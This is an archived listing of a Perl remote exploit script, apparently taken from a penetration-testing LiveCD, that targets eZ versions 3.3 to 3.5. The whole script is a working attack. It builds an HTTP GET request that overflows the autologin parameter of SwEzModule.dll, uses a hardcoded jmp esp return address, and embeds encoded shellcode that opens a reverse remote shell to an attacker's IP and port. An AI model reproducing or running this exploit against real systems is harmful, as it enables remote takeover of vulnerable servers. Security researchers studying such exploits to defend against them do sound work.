home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ez / 2003.12.18.eZXploit.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  85 lines

  1. #!/usr/bin/perl -w
  2. #########C###O###R###O###M###P###U###T###E###R###########
  3. #         [Crpt]  universal eZ v3.3 < v3.5 remote exploit by kralor  [Crpt]            #
  4. #----------------------------------------------------------------------------------------#
  5. # versions tested & not vulnerables: v3.0 v3.1 v3.2            #
  6. # versions tested & vulnerables: v3.3 v3.4 v3.5            #
  7. # Cryptso.dll contains a 'static' jmp esp in eZnetwork pack from v3.3 to v3.5    #
  8. # It is a trivial exploit, jumping to esp, then at esp we jump backward to           #
  9. # finally reach the shellcode. The shellcode gives a reverse remote shell.          #
  10. # Universal shellcode coded by kralor with the PEB technic.        #
  11. ######W#W#W#.#C#O#R#O#M#P#U#T#E###R###.###N###E###T######
  12. use IO::Socket;
  13.  
  14.     print "\r\n\t   [Crpt] eZ v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n";
  15.     print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n";
  16.  
  17. if(@ARGV<3||@ARGV>3) {
  18.     print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n";
  19.     exit;
  20.     }
  21.  
  22.     print "[+] Connecting to ".$ARGV[0]."\t...";
  23.  
  24.     my $sock = IO::Socket::INET->new(Proto=>'tcp',
  25.                                PeerAddr=>$ARGV[0],
  26.                                PeerPort=>"80");
  27. if(!$sock) {
  28.     print "Error\r\n";
  29.     exit;
  30.     }
  31.  
  32.     print "Done\r\n";
  33.  
  34. # 0xffe4    jmp  esp in Cryptso.dll (v3.3 v3.4 v3.5 @ 0x1004C72B)
  35. # 0xffffedffe9    jmp  back ($ - 4'608)
  36.  
  37. $eip        = "\x2B\xC7\x04\x10";
  38. $jmp_back    = "\xE9\xFF\xED\xFF\xFF";
  39. # universal reverse remote shell using PEB, coded by kralor.
  40. $shellc0deI    = "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef".
  41.           "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95".
  42.           "\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e".
  43.           "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad".
  44.           "\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d".
  45.           "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96".
  46.           "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3".
  47.           "\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56".
  48.           "\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e".
  49.           "\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff".
  50.           "\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6".
  51.           "\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e".
  52.           "\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6".
  53.           "\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52".
  54.           "\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91".
  55.           "\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45".
  56.           "\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd".
  57.           "\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6".
  58.           "\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97";
  59. $shellc0deII    = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6".
  60.           "\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a".
  61.           "\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c".
  62.           "\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0".
  63.           "\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8".
  64.           "\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39".
  65.           "\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52".
  66.           "\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e".
  67.           "\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a".
  68.           "\x45\x95";
  69. my $tip        = inet_aton($ARGV[1]);
  70. my $paddr    = sockaddr_in($ARGV[2], $tip);
  71.  
  72. $paddr=substr($paddr,2,6);
  73. $paddr=$paddr^"\x95\x95\x95\x95\x95\x95";
  74. my $rport=substr($paddr,0,2);
  75. my $rip=substr($paddr,2,4);
  76.  
  77. $request    = "GET /SwEzModule.dll?operation=login&autologin=".
  78.           "\x90"x100 .$shellc0deI.$rport."\x96\x46\x52\x97".$rip.$shellc0deII.
  79.           "\x90"x4103 .$eip."\x90"x4 .$jmp_back." HTTP/1.0\r\n\r\n";
  80.  
  81.     print $sock $request;
  82.     print "[+] Sending evil request\t...";
  83.     close($sock);
  84.     print "Done\r\n";
  85. exit;